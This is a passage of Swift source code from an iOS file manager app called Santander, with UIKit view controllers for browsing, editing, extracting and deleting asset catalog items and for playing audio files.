itemAction): let menuAction = UIAction(title: itemAction.displayText, image: itemAction.displayImage) { _ in itemAction.action() } return UIMenu(children: [menuAction]) case .details(let detail): let menuAction = UIAction(title: "Copy", image: UIImage(systemName: "doc.on.doc")) { _ in UIPasteboard.general.string = detail.secondaryText } return UIMenu(children: [menuAction]) default: return nil } } } func collectionView(_ collectionView: UICollectionView, shouldHighlightItemAt indexPath: IndexPath) -> Bool { switch dataSource.itemIdentifier(for: indexPath) { case .action(_): return true default: return false } } func collectionView(_ collectionView: UICollectionView, didSelectItemAt indexPath: IndexPath) { switch dataSource.itemIdentifier(for: indexPath) { case .action(let action): action.action() default: break } } func collectionView(_ collectionView: UICollectionView, itemsForBeginning session: UIDragSession, at indexPath: IndexPath) -> [UIDragItem] { // here, we are dragging the preview item displayed // which is in the first section guard indexPath.section == 0, let dragItem = rendition.makeDragItem() else { return [] } // (if we can) get the cell that is being dragged, set the previewProvider properly // otherwise funky behaviour arises if let cell = collectionView.cellForItem(at: indexPath) as? AssetCatalogGridPreviewCell { dragItem.previewProvider = { let params = UIDragPreviewParameters() params.backgroundColor = .clear return UIDragPreview(view: cell.previewView, parameters: params) } } return [ dragItem ] } } ================================================ FILE: Santander/UI/Editors/AssetCatalog/AssetCatalogSectionHeader.swift ================================================ // // AssetCatalogSectionHeader.swift // Santander // // Created by Serena on 21/09/2022 // import UIKit import AssetCatalogWrapper class AssetCatalogSectionHeader: UICollectionReusableView { let stackView = UIStackView() let titleLabel = UILabel() let subtitleLabel = UILabel() func configure(withSection section: RenditionType, snapshot: NSDiffableDataSourceSnapshot, sender: AssetCatalogViewController) { // The titleLabel's text is the name of the section // And the subtitleLabel's text is the amount of items in the section // ie, the UI would look something like // "Color" // "6 Items" titleLabel.text = section.description titleLabel.font = .preferredFont(forTextStyle: .title3) subtitleLabel.text = "\(snapshot.itemIdentifiers(inSection: section).count) Items" subtitleLabel.textColor = .secondaryLabel subtitleLabel.font = .preferredFont(forTextStyle: .caption1) stackView.addArrangedSubview(titleLabel) stackView.addArrangedSubview(subtitleLabel) stackView.axis = .vertical stackView.translatesAutoresizingMaskIntoConstraints = false addSubview(stackView) let guide = layoutMarginsGuide NSLayoutConstraint.activate([ stackView.centerYAnchor.constraint(equalTo: guide.centerYAnchor), stackView.leadingAnchor.constraint(equalTo: guide.leadingAnchor) ]) } } ================================================ FILE: Santander/UI/Editors/AssetCatalog/AssetCatalogSidebarListView.swift ================================================ // // AssetCatalogSidebarListView.swift // Santander // // Created by Serena on 27/10/2022 // import UIKit import AssetCatalogWrapper class AssetCatalogSidebarListView: UIViewController { enum Section: Hashable { case main } typealias DataSource = UICollectionViewDiffableDataSource typealias Snapshot = NSDiffableDataSourceSnapshot typealias CellRegistration = UICollectionView.CellRegistration let catalogController: AssetCatalogViewController var collectionView: UICollectionView! var dataSource: DataSource! lazy var sections: [RenditionType] = [] init(catalogController: AssetCatalogViewController) { self.catalogController = catalogController super.init(nibName: nil, bundle: nil) } required init?(coder: NSCoder) { fatalError("init(coder:) has not been implemented") } override func viewDidLoad() { super.viewDidLoad() makeCollectionView() makeDataSource() addItems() splitViewController?.setViewController(catalogController, for: .secondary) title = catalogController.fileURL.deletingPathExtension().lastPathComponent navigationController?.navigationBar.prefersLargeTitles = true } func makeCollectionView() { let layout = UICollectionViewCompositionalLayout { _, env in return .list(using: UICollectionLayoutListConfiguration(appearance: .sidebar), layoutEnvironment: env) } collectionView = UICollectionView(frame: .zero, collectionViewLayout: layout) collectionView.translatesAutoresizingMaskIntoConstraints = false collectionView.delegate = self view.addSubview(collectionView) collectionView.constraintCompletely(to: view) } func makeDataSource() { let cellRegistration = CellRegistration { cell, indexPath, itemIdentifier in var conf = cell.defaultContentConfiguration() conf.text = itemIdentifier.description conf.image = itemIdentifier.displayImage cell.contentConfiguration = conf } self.dataSource = DataSource(collectionView: collectionView) { collectionView, indexPath, itemIdentifier in return collectionView.dequeueConfiguredReusableCell(using: cellRegistration, for: indexPath, item: itemIdentifier) } } func addItems() { var snapshot = Snapshot() snapshot.appendSections([.main]) snapshot.appendItems(sections, toSection: .main) dataSource.apply(snapshot) } } extension AssetCatalogSidebarListView: UICollectionViewDelegate { func collectionView(_ collectionView: UICollectionView, didSelectItemAt indexPath: IndexPath) { catalogController.collectionView.scrollToItem(at: IndexPath(row: 0, section: indexPath.row), at: .top, animated: true) } } fileprivate extension RenditionType { var displayImage: UIImage? { switch self { case .image, .svg: return UIImage(systemName: "photo") case .icon: return UIImage(systemName: "app") case .imageSet: return UIImage(systemName: "photo.stack") case .multiSizeImageSet: return UIImage(systemName: "cube.box") case .pdf: return UIImage(systemName: "doc.richtext") case .color: return UIImage(systemName: "paintbrush") case .rawData: return UIImage(systemName: "text.quote") case .unknown: return UIImage(systemName: "questionmark.app") } } } ================================================ FILE: Santander/UI/Editors/AssetCatalog/AssetCatalogViewController.swift ================================================ // // AssetCatalogViewController.swift // Santander // // Created by Serena on 16/09/2022 // import UIKit import AssetCatalogWrapper import UniformTypeIdentifiers import PhotosUI #warning("Also make a view for displaying information about this catalog and display it above the collection view") class AssetCatalogViewController: UIViewController { typealias DataSource = UICollectionViewDiffableDataSource typealias SupplementaryRegistration = UICollectionView.SupplementaryRegistration typealias CellRegistration = UICollectionView.CellRegistration static let titleElementKind = "RenditionTypeTitle" let fileURL: URL var renditionCollection: RenditionCollection var catalog: CUICatalog fileprivate var editorDelegate: ItemEditorDelegate? var collectionView: UICollectionView! var dataSource: DataSource! var noResultsLabel: UILabel = UILabel() var layoutMode: LayoutMode = LayoutMode(UserPreferences.assetCatalogControllerLayoutMode) { didSet { collectionView.setCollectionViewLayout(createLayout(), animated: true) UserPreferences.assetCatalogControllerLayoutMode = layoutMode.rawValue } } init(renditions: RenditionCollection, fileURL: URL, catalog: CUICatalog) { self.renditionCollection = renditions self.fileURL = fileURL self.catalog = catalog super.init(nibName: nil, bundle: nil) } convenience init(catalogFileURL fileURL: URL) throws { let (catalog, renditions) = try AssetCatalogWrapper.shared.renditions(forCarArchive: fileURL) self.init(renditions: renditions, fileURL: fileURL, catalog: catalog) } required init?(coder: NSCoder) { fatalError("init(coder:) has not been implemented") } override func viewDidLoad() { super.viewDidLoad() // on iPad, the title is instead displayed on the sidebar if !UIDevice.isiPad { let filename = fileURL.deletingPathExtension() title = filename.lastPathComponent navigationController?.navigationBar.prefersLargeTitles = true } navigationItem.hidesSearchBarWhenScrolling = false let searchController = UISearchController() searchController.searchBar.delegate = self navigationItem.searchController = searchController configureCollectionView() configureDataSource() setupBarItems() } // scroll up or down keyboard shortcuts override var keyCommands: [UIKeyCommand]? { return [ UIKeyCommand(title: "Scroll Up", action: #selector(goUpOrDown(sender:)), input: UIKeyCommand.inputUpArrow, modifierFlags: .command), UIKeyCommand(title: "Scroll Down", action: #selector(goUpOrDown(sender:)), input: UIKeyCommand.inputDownArrow, modifierFlags: .command) ] } @objc func goUpOrDown(sender: UIKeyCommand) { switch sender.input { case UIKeyCommand.inputDownArrow: let snapshot = dataSource.snapshot() if let last = snapshot.sectionIdentifiers.last { let section = snapshot.sectionIdentifiers.count let row = snapshot.itemIdentifiers(inSection: last).count collectionView.scrollToItem(at: IndexPath(row: row - 1, section: section - 1), at: .bottom, animated: true) } case UIKeyCommand.inputUpArrow: collectionView.scrollToItem(at: IndexPath(row: 0, section: 0), at: .top, animated: true) default: break } } func configureCollectionView() { self.collectionView = UICollectionView(frame: .zero, collectionViewLayout: createLayout()) collectionView.translatesAutoresizingMaskIntoConstraints = false collectionView.backgroundColor = .systemBackground collectionView.dragDelegate = self collectionView.delegate = self view.addSubview(collectionView) collectionView.constraintCompletely(to: view) } func makeMenuForBarButton() -> UIMenu { let extractAction = UIAction(title: "Extract to..") { _ in self.extractAction() } let changeLayoutActions = LayoutMode.allCases.map { [self] mode in return UIAction(title: mode.description, state: layoutMode == mode ? .on : .off) { [self] _ in layoutMode = mode setupBarItems() // update the bar items so that the new selected mode is marked with a checkmark } } let changeLayoutMenu = UIMenu(title: "Layout", children: changeLayoutActions) return UIMenu(children: [extractAction, changeLayoutMenu]) } func setupBarItems() { let dismissAction = UIAction { _ in self.dismiss(animated: true) } navigationItem.rightBarButtonItem = UIBarButtonItem(systemItem: .close, primaryAction: dismissAction) let barButtonWithMenu = UIBarButtonItem(image: UIImage(systemName: "ellipsis.circle"), menu: makeMenuForBarButton()) // on iPad, leftButton fits more as the right bar button item for the sidebar if UIDevice.isiPad { splitViewController?.viewController(for: .primary)?.navigationItem.rightBarButtonItem = barButtonWithMenu } else { // otherwise, on other platforms, set it as the leftBarButtonItem navigationItem.leftBarButtonItem = barButtonWithMenu } } func extractAction() { let action: PathSelectionOperation = .custom(description: "extract", verbDescription: "Extracting to..") { [self] operationVC, selectedPath in let extractionPath = selectedPath .appendingPathComponent("\(fileURL.lastPathComponent)-Extracted") extractItems(extractionPath: extractionPath, sourceVC: operationVC) { error in if let error = error { operationVC.errorAlert(error, title: "Unable to extract items") } else { // once we're done with extracting, // go to the directory where the extracted items are operationVC.dismiss(animated: true) { self.dismiss(animated: true) { let rootVC = UIApplication.shared.sceneKeyWindow?.rootViewController let vcToPushFrom: PathTransitioning? if UIDevice.isiPad { vcToPushFrom = (rootVC as? UISplitViewController)?.viewController(for: .primary) as? PathTransitioning } else { vcToPushFrom = (rootVC as? UINavigationController)?.visibleViewController as? PathTransitioning } vcToPushFrom?.goToPath(path: Path(url: extractionPath)) } } } } } let vc = PathOperationViewController(paths: [fileURL], operationType: action, dismissWhenDone: false) present(UINavigationController(rootViewController: vc), animated: true) { // go to .car's parent path once the operation vc is presented vc.goToPath(path: Path(url: self.fileURL.deletingLastPathComponent())) } } func extractItems( extractionPath savePath: URL, sourceVC: UIViewController, completionHandler: @escaping (Error?) -> Void ) { let alertController = createAlertWithSpinner(title: "Extracting..") sourceVC.present(alertController, animated: true) var caughtError: Error? = nil DispatchQueue.global(qos: .userInitiated).async { do { try FSOperation.perform(.extractCatalog(catalogFileURL: self.fileURL, resultPath: savePath), rootHelperConf: RootConf.shared) } catch { caughtError = error } } DispatchQueue.main.async { alertController.dismiss(animated: true) { return completionHandler(caughtError) } } } enum LayoutMode: Int, CustomStringConvertible, CaseIterable { case horizantal case verical init(_ rawValue: Int) { // default to horizontal switch rawValue { case LayoutMode.horizantal.rawValue: self = .horizantal default: self = .verical } } var description: String { switch self { case .horizantal: return "Horizontal" case .verical: return "Vertical" } } } } // MARK: - Layout & Data Source stuff extension AssetCatalogViewController: UICollectionViewDelegate { func createLayout() -> UICollectionViewLayout { let section: NSCollectionLayoutSection switch layoutMode { case .verical: let itemSize = NSCollectionLayoutSize(widthDimension: .fractionalWidth(1.0), heightDimension: .fractionalHeight(1.0)) let item = NSCollectionLayoutItem(layoutSize: itemSize) let groupSize = NSCollectionLayoutSize(widthDimension: .fractionalWidth(1.0), heightDimension: .absolute(60)) let group = NSCollectionLayoutGroup.horizontal(layoutSize: groupSize, subitem: item, count: 1) let spacing = CGFloat(10) group.interItemSpacing = .fixed(spacing) section = NSCollectionLayoutSection(group: group) section.interGroupSpacing = spacing section.contentInsets = NSDirectionalEdgeInsets(top: 0, leading: spacing, bottom: 0, trailing: spacing) case .horizantal: let itemSize = NSCollectionLayoutSize( widthDimension: .fractionalWidth(1), heightDimension: .fractionalHeight(0.40) ) let layoutItem = NSCollectionLayoutItem(layoutSize: itemSize) layoutItem.contentInsets = NSDirectionalEdgeInsets(top: 0, leading: 5, bottom: 3, trailing: 5) let layoutGroupSize = NSCollectionLayoutSize( widthDimension: .fractionalWidth(0.93), heightDimension: .fractionalWidth(0.55) ) let layoutGroup: NSCollectionLayoutGroup = .vertical( layoutSize: layoutGroupSize, subitem: layoutItem, count: 3 ) layoutGroup.interItemSpacing = .fixed(15) section = NSCollectionLayoutSection(group: layoutGroup) section.orthogonalScrollingBehavior = .groupPagingCentered } let titleHeaderSize = NSCollectionLayoutSize( widthDimension: .fractionalWidth(0.93), heightDimension: .absolute(50) ) let titleSupplementary = NSCollectionLayoutBoundarySupplementaryItem( layoutSize: titleHeaderSize, elementKind: AssetCatalogViewController.titleElementKind, alignment: layoutMode == .horizantal ? .top : .topLeading ) section.boundarySupplementaryItems = [titleSupplementary] let layout = UICollectionViewCompositionalLayout(section: section) let conf = UICollectionViewCompositionalLayoutConfiguration() conf.interSectionSpacing = 20 layout.configuration = conf return layout } func configureDataSource() { let cellRegistration = CellRegistration { cell, indexPath, itemIdentifier in cell.rendition = itemIdentifier cell.configure() } dataSource = DataSource(collectionView: collectionView) { collectionView, indexPath, itemIdentifier in return collectionView.dequeueConfiguredReusableCell(using: cellRegistration, for: indexPath, item: itemIdentifier) } updateDataSourceItems(collection: renditionCollection) let supplementaryRegistration = SupplementaryRegistration(elementKind: AssetCatalogViewController.titleElementKind) { supplementaryView, elementKind, indexPath in let snapshot = self.dataSource.snapshot() let section = snapshot.sectionIdentifiers[indexPath.section] supplementaryView.configure(withSection: section, snapshot: snapshot, sender: self) } dataSource.supplementaryViewProvider = { (collectionView, string, indexPath) in return collectionView.dequeueConfiguredReusableSupplementary(using: supplementaryRegistration, for: indexPath) } } func collectionView(_ collectionView: UICollectionView, didSelectItemAt indexPath: IndexPath) { guard let item = dataSource.itemIdentifier(for: indexPath) else { return } let vc = AssetCatalogRenditionViewController(rendition: item, sender: self) present(UINavigationController(rootViewController: vc), animated: true) } func collectionView(_ collectionView: UICollectionView, contextMenuConfigurationForItemAt indexPath: IndexPath, point: CGPoint) -> UIContextMenuConfiguration? { guard let item = dataSource.itemIdentifier(for: indexPath) else { return nil } return UIContextMenuConfiguration(identifier: nil, previewProvider: nil) { _ in let copyNameAction = UIAction(title: "Copy name", image: UIImage(systemName: "doc.on.doc")) { _ in UIPasteboard.general.string = item.name } var children = [copyNameAction] if let image = item.image { let uiImage = UIImage(cgImage: image) let copyImageAction = UIAction(title: "Copy Image") { _ in UIPasteboard.general.image = uiImage } children.append(copyImageAction) let saveImageAction = UIAction(title: "Save Image", image: UIImage(systemName: "square.and.arrow.down")) { _ in self.saveImage(uiImage) } children.append(saveImageAction) } var attributes: UIMenuElement.Attributes = [] // can only edit images & icons for now // i tried to get color editing to work but for whatever reason // -[CUIMutableCommonAssetStorage setColor:forName:excludeFromFilter:] just doesn't work.. if !item.type.isEditable { attributes = .disabled } let editAction = UIAction(title: "Edit", attributes: attributes) { _ in self.editItem(item) } children.append(editAction) let deleteItemAction = UIAction(title: "Delete", image: UIImage(systemName: "trash"), attributes: .destructive) { [self] _ in deleteItem(item, completion: nil) } children.append(deleteItemAction) return UIMenu(children: children) } } func deleteItem(_ item: Rendition, completion: ((Error?) -> Void)?) { do { try catalog.removeItem(item, fileURL: fileURL) // update the catalog and rendition collection let (newCatalog, newRenditions) = try AssetCatalogWrapper.shared.renditions(forCarArchive: fileURL) self.catalog = newCatalog self.renditionCollection = newRenditions updateDataSourceItems(collection: renditionCollection) completion?(nil) } catch { let completion = completion ?? { error in self.errorAlert(error, title: "Failed to delete item and update contents of file") } completion(error) } } func updateDataSourceItems(collection: RenditionCollection) { var snapshot = NSDiffableDataSourceSnapshot() for (section, items) in collection { snapshot.appendSections([section]) snapshot.appendItems(items, toSection: section) } dataSource.apply(snapshot, animatingDifferences: true) // update the sections on the iPad sidebar if UIDevice.isiPad, let sidebar = splitViewController?.viewController(for: .primary) as? AssetCatalogSidebarListView { let sections = dataSource.snapshot().sectionIdentifiers var sidebarSnapshot = AssetCatalogSidebarListView.Snapshot() sidebarSnapshot.appendSections([.main]) sidebarSnapshot.appendItems(sections, toSection: .main) sidebar.dataSource.apply(sidebarSnapshot) } } func editItem(_ item: Rendition, presentingFrom optionalVcToPresentFrom: UIViewController? = nil, callback: ((Error?) -> Void)? = nil) { guard let preview = item.representation else { return } let vcToPresentFrom = optionalVcToPresentFrom ?? self let errorCallback: ItemEditorDelegate.ErrorCallback = callback ?? { error in if let error = error { vcToPresentFrom.errorAlert(error, title: "Failed to edit item") } } editorDelegate = ItemEditorDelegate(sender: self, selectedRendition: item, finishedEditingCallback: errorCallback) let vc: UIViewController switch preview { case .image(_): var conf = PHPickerConfiguration() conf.filter = .images conf.selectionLimit = 1 let photoVC = PHPickerViewController(configuration: conf) photoVC.delegate = editorDelegate vc = photoVC case .color(let currentCgColor): let colorVC = UIColorPickerViewController() colorVC.delegate = editorDelegate // when presenting the color picker controller, // set the default selected color as the item's current CGColor colorVC.selectedColor = UIColor(cgColor: currentCgColor) vc = colorVC } vcToPresentFrom.present(vc, animated: true) } } extension AssetCatalogViewController: UICollectionViewDragDelegate { func collectionView(_ collectionView: UICollectionView, itemsForBeginning session: UIDragSession, at indexPath: IndexPath) -> [UIDragItem] { guard let dragItem = dataSource.itemIdentifier(for: indexPath)?.makeDragItem() else { return [] } return [ dragItem ] } } extension AssetCatalogViewController: UISearchBarDelegate { func searchBar(_ searchBar: UISearchBar, textDidChange searchText: String) { noResultsLabel.removeFromSuperview() guard !searchText.isEmpty else { updateDataSourceItems(collection: renditionCollection) // if the text is empty, show all items return } let newCollection = renditionCollection.map { (type, renditions) in let newRenditions = renditions.filter { rend in return rend.name.localizedCaseInsensitiveContains(searchText) } return (type, newRenditions) }.filter { (_, rends) in !rends.isEmpty } updateDataSourceItems(collection: newCollection) // if there are no search results & the noResultsLabel isn't already being displayed // display it if newCollection.isEmpty, noResultsLabel.superview == nil { noResultsLabel.text = "No Results" noResultsLabel.font = .systemFont(ofSize: 20, weight: .bold) noResultsLabel.translatesAutoresizingMaskIntoConstraints = false view.addSubview(noResultsLabel) let guide = view.layoutMarginsGuide NSLayoutConstraint.activate([ noResultsLabel.centerXAnchor.constraint(equalTo: guide.centerXAnchor), noResultsLabel.centerYAnchor.constraint(equalTo: guide.centerYAnchor) ]) } } func searchBarCancelButtonClicked(_ searchBar: UISearchBar) { noResultsLabel.removeFromSuperview() updateDataSourceItems(collection: renditionCollection) } func fetchItemsFromFile() { do { let (newCatalog, newCollection) = try AssetCatalogWrapper.shared.renditions(forCarArchive: fileURL) self.catalog = newCatalog self.renditionCollection = newCollection updateDataSourceItems(collection: renditionCollection) } catch { let cancelAction = UIAlertAction(title: "Dismiss", style: .cancel) { _ in self.dismiss(animated: true) } errorAlert(error, title: "Unable to update items", presentingFromIfAvailable: nil, cancelAction: cancelAction) } } } // MARK: - Scroll view stuff extension AssetCatalogViewController { // if we get to a new section, then alert the sidebar list on the iPad to select the new section func scrollViewDidEndDragging(_ scrollView: UIScrollView, willDecelerate decelerate: Bool) { guard UIDevice.isiPad, !decelerate else { return } // https://stackoverflow.com/questions/18649920/uicollectionview-current-visible-cell-index let visibleRect = CGRect(origin: collectionView.contentOffset, size: collectionView.bounds.size) let visiblePoint = CGPoint(x: visibleRect.midX, y: visibleRect.midY) guard let visibleIndexPath = collectionView.indexPathForItem(at: visiblePoint), let sidebar = splitViewController?.viewController(for: .primary) as? AssetCatalogSidebarListView else { return } sidebar.collectionView.selectItem(at: IndexPath(row: visibleIndexPath.section, section: 0), animated: true, scrollPosition: .top) } } // MARK: - Editor Delegate extension AssetCatalogViewController { /// A class which acts as a delegate for the Photo / Color controllers when editing an item /// from AssetCatalogViewController class ItemEditorDelegate: NSObject, PHPickerViewControllerDelegate, UIColorPickerViewControllerDelegate { // the sender asset catalog view let sender: AssetCatalogViewController // The rendition to edit let selectedRendition: Rendition typealias ErrorCallback = ((Error?) -> Void) var finishedEditingCallback: ErrorCallback? init(sender: AssetCatalogViewController, selectedRendition: Rendition, finishedEditingCallback: ErrorCallback?) { self.sender = sender self.selectedRendition = selectedRendition self.finishedEditingCallback = finishedEditingCallback super.init() } func picker(_ picker: PHPickerViewController, didFinishPicking results: [PHPickerResult]) { picker.dismiss(animated: true) guard let first = results.first else { return } first.itemProvider.loadObject(ofClass: UIImage.self) { [self] image, error in guard let image = image as? UIImage, let cgImage = image.cgImage else { sender.errorAlert("Unable to acquire image selected", title: "Unable to edit item") return } edit(to: .image(cgImage)) } } func colorPickerViewControllerDidFinish(_ viewController: UIColorPickerViewController) { edit(to: .color(viewController.selectedColor.cgColor)) } func edit(to newItem: Rendition.Representation) { DispatchQueue.main.async { [self] in // So, because CoreUI is dumb, // CUIMutableCommonAssetStorage fails to init for some paths // (Even paths we have access to) // So, to circumvent this: // 1) We copy the existing .car to the temporary directory (because asset storage won't fail to init there) // 2) We edit the one in the tmp directory // 3) We overwrite the original file with the edited one from the temporary directory let tmpFilename = "\(sender.fileURL.lastPathComponent)-TMP-EDIT-\(UUID().uuidString.prefix(5))" let temporaryFileURL = URL(fileURLWithPath: NSTemporaryDirectory()).appendingPathComponent(tmpFilename) do { // create the temporary file try FileManager.default.copyItem(at: sender.fileURL, to: temporaryFileURL) // edit the temporary file try sender.catalog.editItem(selectedRendition, fileURL: temporaryFileURL, to: newItem) try FSOperation.perform(.removeItems(items: [sender.fileURL]), rootHelperConf: RootConf.shared) // overwrite original file with the temporary one // move, but .moveItem is kinda finnicky and changing it would break like 4 parts of the app try FSOperation.perform(.rename(item: temporaryFileURL, newPath: sender.fileURL), rootHelperConf: RootConf.shared) finishedEditingCallback?(nil) sender.fetchItemsFromFile() } catch { finishedEditingCallback?(error) } } } } } ================================================ FILE: Santander/UI/Editors/Audio/AudioPlayerToolbarView.swift ================================================ // // AudioPlayerToolbarView.swift // Santander // // Created by Serena on 29/08/2022. // import UIKit class AudioPlayerToolbarView: UIView { let audioPlayerController: AudioPlayerViewController weak var delegate: AudioPlayerToolbarDelegate? var playButton: UIButton! init(_ audioPlayerController: AudioPlayerViewController, frame: CGRect) { self.audioPlayerController = audioPlayerController super.init(frame: frame) let titleLabel = UILabel() titleLabel.text = audioPlayerController.itemName titleLabel.translatesAutoresizingMaskIntoConstraints = false addSubview(titleLabel) let cancelAction = UIAction(image: UIImage(systemName: "xmark.circle")) { _ in self.delegate?.audioToolbarDidClickCancelButton(self) } self.playButton = UIButton() setPlayButtonImage() let playOrStopAction = UIAction { _ in self.playOrStop() } playButton.addAction(playOrStopAction, for: .touchUpInside) audioPlayerController.playbackCallback = { self.setPlayButtonImage() } let cancelButton = UIButton(primaryAction: cancelAction) let buttonsStackView = UIStackView(arrangedSubviews: [playButton, cancelButton]) buttonsStackView.spacing = 10 buttonsStackView.translatesAutoresizingMaskIntoConstraints = false addSubview(buttonsStackView) NSLayoutConstraint.activate([ titleLabel.leadingAnchor.constraint(equalTo: layoutMarginsGuide.leadingAnchor), titleLabel.centerYAnchor.constraint(equalTo: centerYAnchor), buttonsStackView.centerYAnchor.constraint(equalTo: centerYAnchor), buttonsStackView.trailingAnchor.constraint(equalTo: layoutMarginsGuide.trailingAnchor) ]) } required init?(coder: NSCoder) { fatalError("init(coder:) has not been implemented") } func playOrStop() { audioPlayerController.play() setPlayButtonImage() } func setPlayButtonImage() { playButton.setImage(audioPlayerController.playButtonImage(withSize: 20, imageTintColor: nil), for: .normal) } } protocol AudioPlayerToolbarDelegate: AnyObject { func audioToolbarDidClickCancelButton(_ toolbar: AudioPlayerToolbarView) } ================================================ FILE: Santander/UI/Editors/Audio/AudioPlayerViewController.swift ================================================ // // AudioPlayerViewController.swift // Santander // // Created by Serena on 06/07/2022 // import UIKit import MediaPlayer import AVFoundation // this should be re-written some day class AudioPlayerViewController: UIViewController { let fileURL: URL var playButton: UIButton! var loopButton: UIButton! var playbackSlider: UISlider! var durationLabel: UILabel! var currentProgressLabel: UILabel! var forwardButton: UIButton! var backwardButton: UIButton! var player: AVAudioPlayer var asset: AVAsset lazy var displayLink: CADisplayLink = CADisplayLink(target: self, selector: #selector(sychronizeSliderProgress)) /// Whether or not to loop, once the item is finished playing var doLoop: Bool = false /// The callback to execute when the player starts / stops playing the audio var playbackCallback: (() -> Void)? = nil var playbackSpeedRate: Float = UserPreferences.audioVCSpeed { didSet { UserPreferences.audioVCSpeed = playbackSpeedRate player.rate = playbackSpeedRate } } /// Name of the item currently being played var itemName: String { let nameFromMetadata = asset.metadata.first { $0.commonKey?.rawValue == "title" }?.stringValue return nameFromMetadata ?? fileURL.lastPathComponent // if we can't get the title from the metadata, return the filename } /// The name of the artist from the Metadata, if available var artistName: String? { return asset.metadata.first { $0.commonKey?.rawValue == "artist" }?.stringValue } /// The duration on the go backward / forward buttons /// 15 seconds by default, if not set in UserDefaults. var skipDuration: Int = UserPreferences.skipDuration { didSet { UserPreferences.skipDuration = skipDuration } } let availableSkipDurations: [Int] = [5, 10, 15, 30, 45, 60, 90] let availableSpeedRates: [Float] = [0.5, 1.0, 1.5, 2.0] /// The UIImage of the track's artwork, if available lazy var artworkImage: UIImage? = _getArtworkImage() func _getArtworkImage() -> UIImage? { guard let data = asset.metadata.first(where: { $0.commonKey?.rawValue == "artwork" })?.dataValue, let image = UIImage(data: data) else { return nil } return image } func playButtonSymbolName() -> String { player.isPlaying ? "pause.fill" : "play.fill" } /// The image to display for the Play / Pause button func playButtonImage(withSize pointSize: CGFloat = 45, imageTintColor: UIColor? = .systemGray) -> UIImage? { let conf = UIImage.SymbolConfiguration(pointSize: pointSize, weight: .medium, scale: .medium) let imageSymbolName = playButtonSymbolName() let image = UIImage(systemName: imageSymbolName, withConfiguration: conf) if let imageTintColor = imageTintColor { return image?.withTintColor(imageTintColor, renderingMode: .alwaysOriginal) } return image } init(fileURL: URL, player: AVAudioPlayer) { self.fileURL = fileURL self.asset = AVAsset(url: fileURL) self.player = player self.player.enableRate = true self.player.rate = playbackSpeedRate super.init(nibName: nil, bundle: nil) } /// Initializes a new AudioPlayerViewController with the given audio file URL convenience init(fileURL: URL) throws { self.init(fileURL: fileURL, player: try AVAudioPlayer(contentsOf: fileURL)) } /// Initializes a new AudioPlayerViewController with the given file URL and data convenience init(fileURL: URL, data: Data) throws { self.init(fileURL: fileURL, player: try AVAudioPlayer(data: data)) } required init?(coder: NSCoder) { fatalError("init(coder:) has not been implemented") } override func viewDidLoad() { super.viewDidLoad() self.view.backgroundColor = .secondarySystemBackground setupBarButtons() displayLink.add(to: .main, forMode: .default) addItemToSystemMediaPlayer() player.delegate = self let playAction = UIAction(image: playButtonImage()) { _ in self.play() } self.playButton = UIButton(primaryAction: playAction) self.playbackSlider = UISlider() playbackSlider.minimumValue = 0 playbackSlider.maximumValue = Float(player.duration) playbackSlider.isContinuous = false playbackSlider.setThumbImage(UIImage(systemName: "circle.fill"), for: .normal) playbackSlider.tintColor = .lightGray playbackSlider.addTarget(self, action: #selector(sliderDidChange(_:)), for: .valueChanged) playbackSlider.addTarget(self, action: #selector(didBeginDraggingSlider), for: .touchDown) let titleLabel = UILabel() titleLabel.text = itemName titleLabel.font = .preferredFont(forTextStyle: .title2) titleLabel.textAlignment = .left let artistLabel = UILabel() artistLabel.text = artistName ?? "Unknown Artist" artistLabel.textAlignment = .left artistLabel.textColor = .systemGray self.durationLabel = UILabel() durationLabel.text = format(timeInterval: player.duration) durationLabel.textColor = .systemGray self.currentProgressLabel = UILabel() currentProgressLabel.text = format(timeInterval: player.duration) currentProgressLabel.textColor = .systemGray let loopAction = UIAction(image: loopButtonImage()) { action in self.doLoop.toggle() self.loopButton.setImage(self.loopButtonImage(), for: .normal) } self.loopButton = UIButton(primaryAction: loopAction) self.forwardButton = UIButton( primaryAction: UIAction( image: UIImage(systemName: "goforward")?.withTintColor(.systemGray, renderingMode: .alwaysOriginal) ) { _ in self.player.currentTime += Double(self.skipDuration) } ) self.backwardButton = UIButton( primaryAction: UIAction( image: UIImage(systemName: "gobackward")?.withTintColor(.systemGray, renderingMode: .alwaysOriginal) ) { _ in self.player.currentTime -= Double(self.skipDuration) } ) let buttonsStackView = UIStackView(arrangedSubviews: [backwardButton, playButton, forwardButton]) buttonsStackView.spacing = 40 let labelsStackView = UIStackView(arrangedSubviews: [titleLabel, artistLabel]) labelsStackView.axis = .vertical durationLabel.translatesAutoresizingMaskIntoConstraints = false playbackSlider.translatesAutoresizingMaskIntoConstraints = false buttonsStackView.translatesAutoresizingMaskIntoConstraints = false labelsStackView.translatesAutoresizingMaskIntoConstraints = false loopButton.translatesAutoresizingMaskIntoConstraints = false currentProgressLabel.translatesAutoresizingMaskIntoConstraints = false // Mark: adding the subviews view.addSubview(buttonsStackView) view.addSubview(labelsStackView) view.addSubview(durationLabel) view.addSubview(playbackSlider) view.addSubview(currentProgressLabel) view.addSubview(loopButton) NSLayoutConstraint.activate([ playbackSlider.centerYAnchor.constraint(equalTo: view.centerYAnchor, constant: 120), playbackSlider.trailingAnchor.constraint(equalTo: view.layoutMarginsGuide.trailingAnchor), playbackSlider.leadingAnchor.constraint(equalTo: view.layoutMarginsGuide.leadingAnchor), buttonsStackView.centerXAnchor.constraint(equalTo: view.centerXAnchor), buttonsStackView.centerYAnchor.constraint(equalTo: playbackSlider.centerYAnchor, constant: 80), labelsStackView.trailingAnchor.constraint(equalTo: playbackSlider.trailingAnchor), labelsStackView.leadingAnchor.constraint(equalTo: playbackSlider.leadingAnchor), labelsStackView.bottomAnchor.constraint(equalTo: playbackSlider.topAnchor, constant: -10), durationLabel.trailingAnchor.constraint(equalTo: titleLabel.trailingAnchor), durationLabel.topAnchor.constraint(equalTo: playbackSlider.bottomAnchor), currentProgressLabel.leadingAnchor.constraint(equalTo: titleLabel.leadingAnchor), currentProgressLabel.topAnchor.constraint(equalTo: playbackSlider.bottomAnchor), loopButton.trailingAnchor.constraint(equalTo: artistLabel.trailingAnchor), loopButton.topAnchor.constraint(equalTo: artistLabel.topAnchor) ]) } func play() { if player.isPlaying { player.pause() } else { try? AVAudioSession.sharedInstance().setCategory(.playback) // So that we can play in the background try? AVAudioSession.sharedInstance().setActive(true, options: .notifyOthersOnDeactivation) player.play() } setPlayButtonImage() playbackCallback?() } func setPlayButtonImage() { playButton.setImage(playButtonImage(), for: .normal) } @objc func 